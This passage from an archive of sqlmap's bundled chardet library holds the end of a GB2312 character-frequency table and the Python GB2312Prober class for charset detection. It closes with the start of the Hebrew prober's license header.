668,1430,1839,2643,2916, 195,1989,2671, 2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162, 3192,2910,2010, 140,2395,2859, 55,1082,2012,2901, 662, 419,2081,1438, 680,2774, 4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524, 3399, 98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346, 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040, 3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188, 2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280, 1086,1974,2034, 630, 257,3338,2788,4903,1017, 86,4790, 966,2789,1995,1696,1131, 259,3095,4188,1308, 179,1463,5257, 289,4107,1248, 42,3413,1725,2288, 896,1947, 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970, 3034,3310, 540,2370,1562,1288,2990, 502,4765,1147, 4,1853,2708, 207, 294,2814, 4078,2902,2509, 684, 34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557, 2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997, 1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972, 1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369, 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376, 1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196, 19, 941,3624,3480, 3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610, 955,1089,3103,1053, 96, 88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128, 642,4006, 903,2539,1877,2082, 596, 29,4066,1790, 722,2157, 130, 995,1569, 769, 1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445, 50, 625, 487,2207, 57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392, 1783, 362, 8,3433,3422, 610,2793,3277,1390,1284,1654, 21,3823, 734, 367, 623, 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782, 2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650, 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478, 2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773, 2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007, 1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323, 1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598, 2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961, 819,1541, 142,2284, 44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302, 1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409, 1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683, 2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191, 2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434, 92,1466,4920,2616, 3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302, 1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774, 4462, 64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147, 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731, 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464, 3264,2855,2722,1952,1029,2839,2467, 84,4383,2215, 820,1391,2015,2448,3672, 377, 1948,2168, 797,2545,3536,2578,2645, 94,2874,1678, 405,1259,3071, 771, 546,1315, 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928, 14,2594, 557, 3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903, 1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060, 4031,2641,4067,3145,1870, 37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261, 1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092, 2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 203,3173,4170,1907,3890, 810, 1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708, 498, 666,2613, 834,3817,1231, 184,2851,1124, 883,3197,2261,3710,1765,1553,2658, 1178,2639,2351, 93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871, 3341,1618,4126,2595,2334, 603, 651, 69, 701, 268,2662,3411,2555,1380,1606, 503, 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229, 2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112, 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504, 1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389, 1281, 52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169, 27, 1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542, 3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861, 2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845, 3891,2868,3621,2254, 58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700, 3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469, 3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582, 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999, 2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274, 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020, 2724,1927,2333,4440, 567, 22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601, 12, 974,3783,4391, 951,1412, 1,3720, 453,4608,4041, 528,1041,1027,3230,2628, 1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040, 31, 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668, 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778, 1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169, 3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667, 3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118, 63,2076, 314,1881, 1348,1061, 172, 978,3515,1747, 532, 511,3970, 6, 601, 905,2699,3300,1751, 276, 1467,3725,2668, 65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320, 3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751, 2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432, 2754, 95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772, 1985, 244,2546, 474, 495,1046,2611,1851,2061, 71,2089,1675,2590, 742,3758,2843, 3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116, 451, 3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904, 4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652, 1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664, 2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078, 49,3770, 3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283, 3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626, 1197,1663,4476,3127, 85,4240,2528, 25,1111,1181,3673, 407,3470,4561,2679,2713, 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333, 391,2963, 187, 61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062, 2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555, 931, 317,2517,3027, 325, 569, 686,2107,3084, 60,1042,1333,2794, 264,3177,4014, 1628, 258,3712, 7,4464,1176,1043,1778, 683, 114,1975, 78,1492, 383,1886, 510, 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015, 1282,1289,4609, 697,1453,3044,2666,3611,1856,2412, 54, 719,1330, 568,3778,2459, 1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390, 1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238, 1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, 1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, # last 512 #Everything below is of no interest for detection purpose 5508,6484,3900,3414,3974,4441,4024,3537,4037,5628,5099,3633,6485,3148,6486,3636, 5509,3257,5510,5973,5445,5872,4941,4403,3174,4627,5873,6276,2286,4230,5446,5874, 5122,6102,6103,4162,5447,5123,5323,4849,6277,3980,3851,5066,4246,5774,5067,6278, 3001,2807,5695,3346,5775,5974,5158,5448,6487,5975,5976,5776,3598,6279,5696,4806, 4211,4154,6280,6488,6489,6490,6281,4212,5037,3374,4171,6491,4562,4807,4722,4827, 5977,6104,4532,4079,5159,5324,5160,4404,3858,5359,5875,3975,4288,4610,3486,4512, 5325,3893,5360,6282,6283,5560,2522,4231,5978,5186,5449,2569,3878,6284,5401,3578, 4415,6285,4656,5124,5979,2506,4247,4449,3219,3417,4334,4969,4329,6492,4576,4828, 4172,4416,4829,5402,6286,3927,3852,5361,4369,4830,4477,4867,5876,4173,6493,6105, 4657,6287,6106,5877,5450,6494,4155,4868,5451,3700,5629,4384,6288,6289,5878,3189, 4881,6107,6290,6495,4513,6496,4692,4515,4723,5100,3356,6497,6291,3810,4080,5561, 3570,4430,5980,6498,4355,5697,6499,4724,6108,6109,3764,4050,5038,5879,4093,3226, 6292,5068,5217,4693,3342,5630,3504,4831,4377,4466,4309,5698,4431,5777,6293,5778, 4272,3706,6110,5326,3752,4676,5327,4273,5403,4767,5631,6500,5699,5880,3475,5039, 6294,5562,5125,4348,4301,4482,4068,5126,4593,5700,3380,3462,5981,5563,3824,5404, 4970,5511,3825,4738,6295,6501,5452,4516,6111,5881,5564,6502,6296,5982,6503,4213, 4163,3454,6504,6112,4009,4450,6113,4658,6297,6114,3035,6505,6115,3995,4904,4739, 4563,4942,4110,5040,3661,3928,5362,3674,6506,5292,3612,4791,5565,4149,5983,5328, 5259,5021,4725,4577,4564,4517,4364,6298,5405,4578,5260,4594,4156,4157,5453,3592, 3491,6507,5127,5512,4709,4922,5984,5701,4726,4289,6508,4015,6116,5128,4628,3424, 4241,5779,6299,4905,6509,6510,5454,5702,5780,6300,4365,4923,3971,6511,5161,3270, 3158,5985,4100, 867,5129,5703,6117,5363,3695,3301,5513,4467,6118,6512,5455,4232, 4242,4629,6513,3959,4478,6514,5514,5329,5986,4850,5162,5566,3846,4694,6119,5456, 4869,5781,3779,6301,5704,5987,5515,4710,6302,5882,6120,4392,5364,5705,6515,6121, 6516,6517,3736,5988,5457,5989,4695,2457,5883,4551,5782,6303,6304,6305,5130,4971, 6122,5163,6123,4870,3263,5365,3150,4871,6518,6306,5783,5069,5706,3513,3498,4409, 5330,5632,5366,5458,5459,3991,5990,4502,3324,5991,5784,3696,4518,5633,4119,6519, 4630,5634,4417,5707,4832,5992,3418,6124,5993,5567,4768,5218,6520,4595,3458,5367, 6125,5635,6126,4202,6521,4740,4924,6307,3981,4069,4385,6308,3883,2675,4051,3834, 4302,4483,5568,5994,4972,4101,5368,6309,5164,5884,3922,6127,6522,6523,5261,5460, 5187,4164,5219,3538,5516,4111,3524,5995,6310,6311,5369,3181,3386,2484,5188,3464, 5569,3627,5708,6524,5406,5165,4677,4492,6312,4872,4851,5885,4468,5996,6313,5709, 5710,6128,2470,5886,6314,5293,4882,5785,3325,5461,5101,6129,5711,5786,6525,4906, 6526,6527,4418,5887,5712,4808,2907,3701,5713,5888,6528,3765,5636,5331,6529,6530, 3593,5889,3637,4943,3692,5714,5787,4925,6315,6130,5462,4405,6131,6132,6316,5262, 6531,6532,5715,3859,5716,5070,4696,5102,3929,5788,3987,4792,5997,6533,6534,3920, 4809,5000,5998,6535,2974,5370,6317,5189,5263,5717,3826,6536,3953,5001,4883,3190, 5463,5890,4973,5999,4741,6133,6134,3607,5570,6000,4711,3362,3630,4552,5041,6318, 6001,2950,2953,5637,4646,5371,4944,6002,2044,4120,3429,6319,6537,5103,4833,6538, 6539,4884,4647,3884,6003,6004,4758,3835,5220,5789,4565,5407,6540,6135,5294,4697, 4852,6320,6321,3206,4907,6541,6322,4945,6542,6136,6543,6323,6005,4631,3519,6544, 5891,6545,5464,3784,5221,6546,5571,4659,6547,6324,6137,5190,6548,3853,6549,4016, 4834,3954,6138,5332,3827,4017,3210,3546,4469,5408,5718,3505,4648,5790,5131,5638, 5791,5465,4727,4318,6325,6326,5792,4553,4010,4698,3439,4974,3638,4335,3085,6006, 5104,5042,5166,5892,5572,6327,4356,4519,5222,5573,5333,5793,5043,6550,5639,5071, 4503,6328,6139,6551,6140,3914,3901,5372,6007,5640,4728,4793,3976,3836,4885,6552, 4127,6553,4451,4102,5002,6554,3686,5105,6555,5191,5072,5295,4611,5794,5296,6556, 5893,5264,5894,4975,5466,5265,4699,4976,4370,4056,3492,5044,4886,6557,5795,4432, 4769,4357,5467,3940,4660,4290,6141,4484,4770,4661,3992,6329,4025,4662,5022,4632, 4835,4070,5297,4663,4596,5574,5132,5409,5895,6142,4504,5192,4664,5796,5896,3885, 5575,5797,5023,4810,5798,3732,5223,4712,5298,4084,5334,5468,6143,4052,4053,4336, 4977,4794,6558,5335,4908,5576,5224,4233,5024,4128,5469,5225,4873,6008,5045,4729, 4742,4633,3675,4597,6559,5897,5133,5577,5003,5641,5719,6330,6560,3017,2382,3854, 4406,4811,6331,4393,3964,4946,6561,2420,3722,6562,4926,4378,3247,1736,4442,6332, 5134,6333,5226,3996,2918,5470,4319,4003,4598,4743,4744,4485,3785,3902,5167,5004, 5373,4394,5898,6144,4874,1793,3997,6334,4085,4214,5106,5642,4909,5799,6009,4419, 4189,3330,5899,4165,4420,5299,5720,5227,3347,6145,4081,6335,2876,3930,6146,3293, 3786,3910,3998,5900,5300,5578,2840,6563,5901,5579,6147,3531,5374,6564,6565,5580, 4759,5375,6566,6148,3559,5643,6336,6010,5517,6337,6338,5721,5902,3873,6011,6339, 6567,5518,3868,3649,5722,6568,4771,4947,6569,6149,4812,6570,2853,5471,6340,6341, 5644,4795,6342,6012,5723,6343,5724,6013,4349,6344,3160,6150,5193,4599,4514,4493, 5168,4320,6345,4927,3666,4745,5169,5903,5005,4928,6346,5725,6014,4730,4203,5046, 4948,3395,5170,6015,4150,6016,5726,5519,6347,5047,3550,6151,6348,4197,4310,5904, 6571,5581,2965,6152,4978,3960,4291,5135,6572,5301,5727,4129,4026,5905,4853,5728, 5472,6153,6349,4533,2700,4505,5336,4678,3583,5073,2994,4486,3043,4554,5520,6350, 6017,5800,4487,6351,3931,4103,5376,6352,4011,4321,4311,4190,5136,6018,3988,3233, 4350,5906,5645,4198,6573,5107,3432,4191,3435,5582,6574,4139,5410,6353,5411,3944, 5583,5074,3198,6575,6354,4358,6576,5302,4600,5584,5194,5412,6577,6578,5585,5413, 5303,4248,5414,3879,4433,6579,4479,5025,4854,5415,6355,4760,4772,3683,2978,4700, 3797,4452,3965,3932,3721,4910,5801,6580,5195,3551,5907,3221,3471,3029,6019,3999, 5908,5909,5266,5267,3444,3023,3828,3170,4796,5646,4979,4259,6356,5647,5337,3694, 6357,5648,5338,4520,4322,5802,3031,3759,4071,6020,5586,4836,4386,5048,6581,3571, 4679,4174,4949,6154,4813,3787,3402,3822,3958,3215,3552,5268,4387,3933,4950,4359, 6021,5910,5075,3579,6358,4234,4566,5521,6359,3613,5049,6022,5911,3375,3702,3178, 4911,5339,4521,6582,6583,4395,3087,3811,5377,6023,6360,6155,4027,5171,5649,4421, 4249,2804,6584,2270,6585,4000,4235,3045,6156,5137,5729,4140,4312,3886,6361,4330, 6157,4215,6158,3500,3676,4929,4331,3713,4930,5912,4265,3776,3368,5587,4470,4855, 3038,4980,3631,6159,6160,4132,4680,6161,6362,3923,4379,5588,4255,6586,4121,6587, 6363,4649,6364,3288,4773,4774,6162,6024,6365,3543,6588,4274,3107,3737,5050,5803, 4797,4522,5589,5051,5730,3714,4887,5378,4001,4523,6163,5026,5522,4701,4175,2791, 3760,6589,5473,4224,4133,3847,4814,4815,4775,3259,5416,6590,2738,6164,6025,5304, 3733,5076,5650,4816,5590,6591,6165,6592,3934,5269,6593,3396,5340,6594,5804,3445, 3602,4042,4488,5731,5732,3525,5591,4601,5196,6166,6026,5172,3642,4612,3202,4506, 4798,6366,3818,5108,4303,5138,5139,4776,3332,4304,2915,3415,4434,5077,5109,4856, 2879,5305,4817,6595,5913,3104,3144,3903,4634,5341,3133,5110,5651,5805,6167,4057, 5592,2945,4371,5593,6596,3474,4182,6367,6597,6168,4507,4279,6598,2822,6599,4777, 4713,5594,3829,6169,3887,5417,6170,3653,5474,6368,4216,2971,5228,3790,4579,6369, 5733,6600,6601,4951,4746,4555,6602,5418,5475,6027,3400,4665,5806,6171,4799,6028, 5052,6172,3343,4800,4747,5006,6370,4556,4217,5476,4396,5229,5379,5477,3839,5914, 5652,5807,4714,3068,4635,5808,6173,5342,4192,5078,5419,5523,5734,6174,4557,6175, 4602,6371,6176,6603,5809,6372,5735,4260,3869,5111,5230,6029,5112,6177,3126,4681, 5524,5915,2706,3563,4748,3130,6178,4018,5525,6604,6605,5478,4012,4837,6606,4534, 4193,5810,4857,3615,5479,6030,4082,3697,3539,4086,5270,3662,4508,4931,5916,4912, 5811,5027,3888,6607,4397,3527,3302,3798,2775,2921,2637,3966,4122,4388,4028,4054, 1633,4858,5079,3024,5007,3982,3412,5736,6608,3426,3236,5595,3030,6179,3427,3336, 3279,3110,6373,3874,3039,5080,5917,5140,4489,3119,6374,5812,3405,4494,6031,4666, 4141,6180,4166,6032,5813,4981,6609,5081,4422,4982,4112,3915,5653,3296,3983,6375, 4266,4410,5654,6610,6181,3436,5082,6611,5380,6033,3819,5596,4535,5231,5306,5113, 6612,4952,5918,4275,3113,6613,6376,6182,6183,5814,3073,4731,4838,5008,3831,6614, 4888,3090,3848,4280,5526,5232,3014,5655,5009,5737,5420,5527,6615,5815,5343,5173, 5381,4818,6616,3151,4953,6617,5738,2796,3204,4360,2989,4281,5739,5174,5421,5197, 3132,5141,3849,5142,5528,5083,3799,3904,4839,5480,2880,4495,3448,6377,6184,5271, 5919,3771,3193,6034,6035,5920,5010,6036,5597,6037,6378,6038,3106,5422,6618,5423, 5424,4142,6619,4889,5084,4890,4313,5740,6620,3437,5175,5307,5816,4199,5198,5529, 5817,5199,5656,4913,5028,5344,3850,6185,2955,5272,5011,5818,4567,4580,5029,5921, 3616,5233,6621,6622,6186,4176,6039,6379,6380,3352,5200,5273,2908,5598,5234,3837, 5308,6623,6624,5819,4496,4323,5309,5201,6625,6626,4983,3194,3838,4167,5530,5922, 5274,6381,6382,3860,3861,5599,3333,4292,4509,6383,3553,5481,5820,5531,4778,6187, 3955,3956,4324,4389,4218,3945,4325,3397,2681,5923,4779,5085,4019,5482,4891,5382, 5383,6040,4682,3425,5275,4094,6627,5310,3015,5483,5657,4398,5924,3168,4819,6628, 5925,6629,5532,4932,4613,6041,6630,4636,6384,4780,4204,5658,4423,5821,3989,4683, 5822,6385,4954,6631,5345,6188,5425,5012,5384,3894,6386,4490,4104,6632,5741,5053, 6633,5823,5926,5659,5660,5927,6634,5235,5742,5824,4840,4933,4820,6387,4859,5928, 4955,6388,4143,3584,5825,5346,5013,6635,5661,6389,5014,5484,5743,4337,5176,5662, 6390,2836,6391,3268,6392,6636,6042,5236,6637,4158,6638,5744,5663,4471,5347,3663, 4123,5143,4293,3895,6639,6640,5311,5929,5826,3800,6189,6393,6190,5664,5348,3554, 3594,4749,4603,6641,5385,4801,6043,5827,4183,6642,5312,5426,4761,6394,5665,6191, 4715,2669,6643,6644,5533,3185,5427,5086,5930,5931,5386,6192,6044,6645,4781,4013, 5745,4282,4435,5534,4390,4267,6045,5746,4984,6046,2743,6193,3501,4087,5485,5932, 5428,4184,4095,5747,4061,5054,3058,3862,5933,5600,6646,5144,3618,6395,3131,5055, 5313,6396,4650,4956,3855,6194,3896,5202,4985,4029,4225,6195,6647,5828,5486,5829, 3589,3002,6648,6397,4782,5276,6649,6196,6650,4105,3803,4043,5237,5830,6398,4096, 3643,6399,3528,6651,4453,3315,4637,6652,3984,6197,5535,3182,3339,6653,3096,2660, 6400,6654,3449,5934,4250,4236,6047,6401,5831,6655,5487,3753,4062,5832,6198,6199, 6656,3766,6657,3403,4667,6048,6658,4338,2897,5833,3880,2797,3780,4326,6659,5748, 5015,6660,5387,4351,5601,4411,6661,3654,4424,5935,4339,4072,5277,4568,5536,6402, 6662,5238,6663,5349,5203,6200,5204,6201,5145,4536,5016,5056,4762,5834,4399,4957, 6202,6403,5666,5749,6664,4340,6665,5936,5177,5667,6666,6667,3459,4668,6404,6668, 6669,4543,6203,6670,4276,6405,4480,5537,6671,4614,5205,5668,6672,3348,2193,4763, 6406,6204,5937,5602,4177,5669,3419,6673,4020,6205,4443,4569,5388,3715,3639,6407, 6049,4058,6206,6674,5938,4544,6050,4185,4294,4841,4651,4615,5488,6207,6408,6051, 5178,3241,3509,5835,6208,4958,5836,4341,5489,5278,6209,2823,5538,5350,5206,5429, 6675,4638,4875,4073,3516,4684,4914,4860,5939,5603,5389,6052,5057,3237,5490,3791, 6676,6409,6677,4821,4915,4106,5351,5058,4243,5539,4244,5604,4842,4916,5239,3028, 3716,5837,5114,5605,5390,5940,5430,6210,4332,6678,5540,4732,3667,3840,6053,4305, 3408,5670,5541,6410,2744,5240,5750,6679,3234,5606,6680,5607,5671,3608,4283,4159, 4400,5352,4783,6681,6411,6682,4491,4802,6211,6412,5941,6413,6414,5542,5751,6683, 4669,3734,5942,6684,6415,5943,5059,3328,4670,4144,4268,6685,6686,6687,6688,4372, 3603,6689,5944,5491,4373,3440,6416,5543,4784,4822,5608,3792,4616,5838,5672,3514, 5391,6417,4892,6690,4639,6691,6054,5673,5839,6055,6692,6056,5392,6212,4038,5544, 5674,4497,6057,6693,5840,4284,5675,4021,4545,5609,6418,4454,6419,6213,4113,4472, 5314,3738,5087,5279,4074,5610,4959,4063,3179,4750,6058,6420,6214,3476,4498,4716, 5431,4960,4685,6215,5241,6694,6421,6216,6695,5841,5945,6422,3748,5946,5179,3905, 5752,5545,5947,4374,6217,4455,6423,4412,6218,4803,5353,6696,3832,5280,6219,4327, 4702,6220,6221,6059,4652,5432,6424,3749,4751,6425,5753,4986,5393,4917,5948,5030, 5754,4861,4733,6426,4703,6697,6222,4671,5949,4546,4961,5180,6223,5031,3316,5281, 6698,4862,4295,4934,5207,3644,6427,5842,5950,6428,6429,4570,5843,5282,6430,6224, 5088,3239,6060,6699,5844,5755,6061,6431,2701,5546,6432,5115,5676,4039,3993,3327, 4752,4425,5315,6433,3941,6434,5677,4617,4604,3074,4581,6225,5433,6435,6226,6062, 4823,5756,5116,6227,3717,5678,4717,5845,6436,5679,5846,6063,5847,6064,3977,3354, 6437,3863,5117,6228,5547,5394,4499,4524,6229,4605,6230,4306,4500,6700,5951,6065, 3693,5952,5089,4366,4918,6701,6231,5548,6232,6702,6438,4704,5434,6703,6704,5953, 4168,6705,5680,3420,6706,5242,4407,6066,3812,5757,5090,5954,4672,4525,3481,5681, 4618,5395,5354,5316,5955,6439,4962,6707,4526,6440,3465,4673,6067,6441,5682,6708, 5435,5492,5758,5683,4619,4571,4674,4804,4893,4686,5493,4753,6233,6068,4269,6442, 6234,5032,4705,5146,5243,5208,5848,6235,6443,4963,5033,4640,4226,6236,5849,3387, 6444,6445,4436,4437,5850,4843,5494,4785,4894,6709,4361,6710,5091,5956,3331,6237, 4987,5549,6069,6711,4342,3517,4473,5317,6070,6712,6071,4706,6446,5017,5355,6713, 6714,4988,5436,6447,4734,5759,6715,4735,4547,4456,4754,6448,5851,6449,6450,3547, 5852,5318,6451,6452,5092,4205,6716,6238,4620,4219,5611,6239,6072,4481,5760,5957, 5958,4059,6240,6453,4227,4537,6241,5761,4030,4186,5244,5209,3761,4457,4876,3337, 5495,5181,6242,5959,5319,5612,5684,5853,3493,5854,6073,4169,5613,5147,4895,6074, 5210,6717,5182,6718,3830,6243,2798,3841,6075,6244,5855,5614,3604,4606,5496,5685, 5118,5356,6719,6454,5960,5357,5961,6720,4145,3935,4621,5119,5962,4261,6721,6455, 4786,5963,4375,4582,6245,6246,6247,6076,5437,4877,5856,3376,4380,6248,4160,6722, 5148,6456,5211,6457,6723,4718,6458,6724,6249,5358,4044,3297,6459,6250,5857,5615, 5497,5245,6460,5498,6725,6251,6252,5550,3793,5499,2959,5396,6461,6462,4572,5093, 5500,5964,3806,4146,6463,4426,5762,5858,6077,6253,4755,3967,4220,5965,6254,4989, 5501,6464,4352,6726,6078,4764,2290,5246,3906,5438,5283,3767,4964,2861,5763,5094, 6255,6256,4622,5616,5859,5860,4707,6727,4285,4708,4824,5617,6257,5551,4787,5212, 4965,4935,4687,6465,6728,6466,5686,6079,3494,4413,2995,5247,5966,5618,6729,5967, 5764,5765,5687,5502,6730,6731,6080,5397,6467,4990,6258,6732,4538,5060,5619,6733, 4719,5688,5439,5018,5149,5284,5503,6734,6081,4607,6259,5120,3645,5861,4583,6260, 4584,4675,5620,4098,5440,6261,4863,2379,3306,4585,5552,5689,4586,5285,6735,4864, 6736,5286,6082,6737,4623,3010,4788,4381,4558,5621,4587,4896,3698,3161,5248,4353, 4045,6262,3754,5183,4588,6738,6263,6739,6740,5622,3936,6741,6468,6742,6264,5095, 6469,4991,5968,6743,4992,6744,6083,4897,6745,4256,5766,4307,3108,3968,4444,5287, 3889,4343,6084,4510,6085,4559,6086,4898,5969,6746,5623,5061,4919,5249,5250,5504, 5441,6265,5320,4878,3242,5862,5251,3428,6087,6747,4237,5624,5442,6266,5553,4539, 6748,2585,3533,5398,4262,6088,5150,4736,4438,6089,6267,5505,4966,6749,6268,6750, 6269,5288,5554,3650,6090,6091,4624,6092,5690,6751,5863,4270,5691,4277,5555,5864, 6752,5692,4720,4865,6470,5151,4688,4825,6753,3094,6754,6471,3235,4653,6755,5213, 5399,6756,3201,4589,5865,4967,6472,5866,6473,5019,3016,6757,5321,4756,3957,4573, 6093,4993,5767,4721,6474,6758,5625,6759,4458,6475,6270,6760,5556,4994,5214,5252, 6271,3875,5768,6094,5034,5506,4376,5769,6761,2120,6476,5253,5770,6762,5771,5970, 3990,5971,5557,5558,5772,6477,6095,2787,4641,5972,5121,6096,6097,6272,6763,3703, 5867,5507,6273,4206,6274,4789,6098,6764,3619,3646,3833,3804,2394,3788,4936,3978, 4866,4899,6099,6100,5559,6478,6765,3599,5868,6101,5869,5870,6275,6766,4527,6767) # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/gb2312prober.py000066400000000000000000000032211326012263700213030ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import GB2312DistributionAnalysis from .mbcssm import GB2312SMModel class GB2312Prober(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(GB2312SMModel) self._mDistributionAnalyzer = GB2312DistributionAnalysis() self.reset() def get_charset_name(self): return "GB2312" sqlmap-1.2.4/thirdparty/chardet/hebrewprober.py000066400000000000000000000320571326012263700216700ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal 